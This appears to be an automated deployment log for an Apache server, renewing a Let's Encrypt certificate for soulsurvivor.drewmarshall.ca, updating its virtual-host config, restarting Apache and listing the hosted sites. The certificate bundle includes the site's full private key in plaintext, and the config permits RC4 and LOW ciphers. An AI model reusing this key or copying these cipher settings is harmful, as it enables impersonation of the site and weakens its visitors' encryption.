CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-18 06:02:09: Establishing a connection
2026-07-18 06:02:09: Establishing a connection
2026-07-18 06:02:09: 

PUT: /tmp/pkp287602

#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:02:09: 

chmod 755 /tmp/pkp287602; /tmp/pkp287602; rm /tmp/pkp287602

2026-07-18 06:02:10: 


1


2026-07-18 06:02:10: Establishing a connection
2026-07-18 06:02:10: 

PUT: /tmp/pkp624478

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > kPs0XHVbvCV4SQ1gFWEhwrCX-7ftw9Y4BFJiaOqXqPE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kPs0XHVbvCV4SQ1gFWEhwrCX-7ftw9Y4BFJiaOqXqPE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kPs0XHVbvCV4SQ1gFWEhwrCX-7ftw9Y4BFJiaOqXqPE


2026-07-18 06:02:10: 

chmod 755 /tmp/pkp624478; /tmp/pkp624478; rm /tmp/pkp624478

2026-07-18 06:02:10: 




2026-07-18 06:02:17: Establishing a connection
2026-07-18 06:02:17: 

PUT: /tmp/pkp137680

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm kPs0XHVbvCV4SQ1gFWEhwrCX-7ftw9Y4BFJiaOqXqPE


2026-07-18 06:02:17: 

chmod 755 /tmp/pkp137680; /tmp/pkp137680; rm /tmp/pkp137680

2026-07-18 06:02:17: 




2026-07-18 06:02:17: Establishing a connection
2026-07-18 06:02:17: 

PUT: /tmp/pkp391543

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt

cat > $temp_file <<'endmsg'
cc:6b:0e:96:15:80:fa:f5:41:38:0a:0e:05:d9:fd:16

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBRdbW1+pChVFc3nNoDwL6WaPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMzQ1WhcNMjYxMDE2MDUwMzQ0WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAhlonaYTOrRJnivJdh8cqobA79IErWkJtyNeuoL+NhLL4
rrve32se18hxhuMDY4pbJEfhMqATfz5baUfDM/8Vw4azGrKMouP6nj86t4I1Mn5x
7V5csxU5YGWHarA8cypP76jxdESvLFJSCUsvnJ1m64pJk7pVc9yz+kWVrxGfeAP7
OOZD1T6X4fWYO9w4HuVHACt+xymFvPGq8zT+CiUJ+pCYcHok250uHheVcAqjkKgm
0mDnOj1K3F8RUtyvdEkw8GXpFbnPOkNloVbrNop7Z2aj+xVzzseTyaMjmKc6r4ZX
F/8+Vmb+34VtOGWhUbj0/HPuJMit3dqP1+pSFIrefQIDAQABo4ICKjCCAiYwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFBTFHzl79z8/jnj1qgH/eHyeZLofMB8GA1UdIwQYMBaAFB8vNb5G
FILNQLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3lyMS5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcc291bHN1cnZpdm9yLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8veXIxLmMubGVuY3Iub3JnLzE2LmNybDCCAQwGCisGAQQB1nkC
BAIEgf0EgfoA+AB3AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAAB
n3PReZgAAAQDAEgwRgIhAPp9WBGeTjJBgHUQQLv5KL8ArZbWmLTpraouPMZ1sayH
AiEA4qs4bJhIaB2AUDnzkh1kJ6Q9VNccnEAVy75Lv66FMucAfQAai51rD/6/gbR5
OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ9z0XyUAAgAAAUAKuYrVAQDAEYwRAIg
TtK0CCj6PVbsRdBow4ak39mx3+RXO9CXRXW5ndu9FWkCIGmUi4TQnT6eVvRyfhSJ
JQK7shRQPFOI/C+f6cox6B1UMA0GCSqGSIb3DQEBCwUAA4IBAQCXTyF+qBDbRo3J
+liZlJi7uWzFcelhewU7FyA+mlxXWVQfJrprG+cYX9t/FDot3vE86hIIINmMQhqg
X548HUpEONQ//SM68gU1uXx3hfSAMYGX1YsSaPr1WcKUO40eNRJw1SvhsPP0xaD/
u33u9uPlGNA/7ff6L18u+ZYGqaPqKSoTlwbfqQmyyRnvZK38N8b2rEnmiV41ODNi
E7JVEuzov6SiRpajV1fAYvZ8PhHNshnPr7SG14NIJDv66r5kXjEll4coZAehA4YW
x883XdmQHulW23rm/ggahcxcrPSV2rrY3BtZiorRd/B+PfTfZLS5n8iWabT2ZdYS
mkWdK+bg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCGWidphM6tEmeK
8l2HxyqhsDv0gStaQm3I166gv42Esviuu97fax7XyHGG4wNjilskR+EyoBN/Pltp
R8Mz/xXDhrMasoyi4/qePzq3gjUyfnHtXlyzFTlgZYdqsDxzKk/vqPF0RK8sUlIJ
Sy+cnWbrikmTulVz3LP6RZWvEZ94A/s45kPVPpfh9Zg73Dge5UcAK37HKYW88arz
NP4KJQn6kJhweiTbnS4eF5VwCqOQqCbSYOc6PUrcXxFS3K90STDwZekVuc86Q2Wh
Vus2intnZqP7FXPOx5PJoyOYpzqvhlcX/z5WZv7fhW04ZaFRuPT8c+4kyK3d2o/X
6lIUit59AgMBAAECggEAFRNvIQGeow4tjwxOjtO4Gi2OzOA3Kvgbx8jJ51lVUSP6
7fz2d/7nvjr+pYXW4hZyDhghOYiyC6EpGYln6QVoO8gq2ufNNxUOG3quHTErDjTs
GKwCXReEbNz7KB87Gb02qqZ1MOOWGpz+qzWPuQEE2bNTr9Moaj4M6m21ua/JNTwp
y1AligNnW3zOv2s5Vc7PhjX8xsqT0xQ+jRLlEMn5C35euL7zB9I7+2SpvLJh5UR8
FPbugoiL5hX1ExR7kEw1dXsaIlo/y9+HmIaDd+DksBir0khwGXQPSCYnUXLJ07dg
4bDltLS9jnk9wPHIWVCeYdMR9gj44bRI5NjFnG8ikwKBgQC8N+nk9F68UbQunkvr
zZsPzS+0uF7E7CeeY656IiIYQJFBDz6eL5FtZWKa5VP30mfEuDLNOlGPV2tDjpTo
3bF3DyCs1egK6dftcKGH7CS/dmXdMdw7SazFOnYfnTWAnBlhBfez2Zkwh7cP1ypP
T9InRYVd5v92r4YI6qQ+6HuXUwKBgQC2vD6n5D/6RM5xvWuxIJOLSL4JLaOqHEyG
iHFK0A1KXIfVVT8zSQnLckadkfxZWv8BieFSJLKg6e61JKUJqezpzyD28Ha41gVD
7BzYpnvQtXgNjQLk/1R7xp1eTHXO0FvX/AfyM1XywDQFN+h4+G+bd2QAIUr+9pcH
vkPvOhoI7wKBgF6gqdovNfXuCe2qLjdmToA6Q7LTQuo0ZJLQQOcshAG3bI/OD0hO
WAos/88qXvXodb1Ecl4V5O1xIP99DsaottFJ7L6YaKob+TBqAPwqMCuGZh44NCYm
m1MpWjv4uO5pDKVn76ofS1JH2TSAk8f+NIUEAdI9EdDk3DldZqguD/z7AoGAXafL
YRct5yIewNK5gDXXCPsGUwPuLwCEBCuoDRTmyubzw1YGp01W1MvD/3xT3qQxsGMv
dX9Tgf+DlZmrcHGD+C1tksKZxpACcNZxzmQ9bzGizycnhaCLd0jLXQpJEu9dMyx8
EhlXgqwZvVbzMhT6dq7RNPPbUSOnMpPEk7auo0cCgYB2RgpYrXUmLTtymMOsPAR5
Oftgbkqz77W2bev7xdJXfjp0cvkFQ6H+pKPkK5qqVBxQ0LBMtC8nFWS02+Y/ql5F
i1dRtBWyZTDkejRuIlv7/djA/Q7BjXf+PLbU9dFbM9viFjv8y3ts4a1KFdDUwEoY
sik+j/sWKmTlsCuSh+pmCA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-18 06:02:17: 

chmod 755 /tmp/pkp391543; /tmp/pkp391543; rm /tmp/pkp391543

2026-07-18 06:02:17: 


dir=/etc/ssl/certs


2026-07-18 06:02:17: 

PUT: /tmp/pkp159590

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-18 06:02:17: 

chmod 755 /tmp/pkp159590; /tmp/pkp159590; rm /tmp/pkp159590

2026-07-18 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-18 06:02:17: 

PUT: /tmp/pkp669553

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi


2026-07-18 06:02:17: 

chmod 755 /tmp/pkp669553; /tmp/pkp669553; rm /tmp/pkp669553

2026-07-18 06:02:17: 




2026-07-18 06:02:17: 

PUT: /tmp/pkp832315

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-18 06:02:17: 

chmod 755 /tmp/pkp832315; /tmp/pkp832315; rm /tmp/pkp832315

2026-07-18 06:02:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-18 06:02:18: Establishing a connection
2026-07-18 06:02:18: 

PUT: /tmp/pkp574656

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-18 06:02:18: 

chmod 755 /tmp/pkp574656; /tmp/pkp574656; rm /tmp/pkp574656

2026-07-18 06:02:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-18 06:02:18: 

PUT: /tmp/pkp523221

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
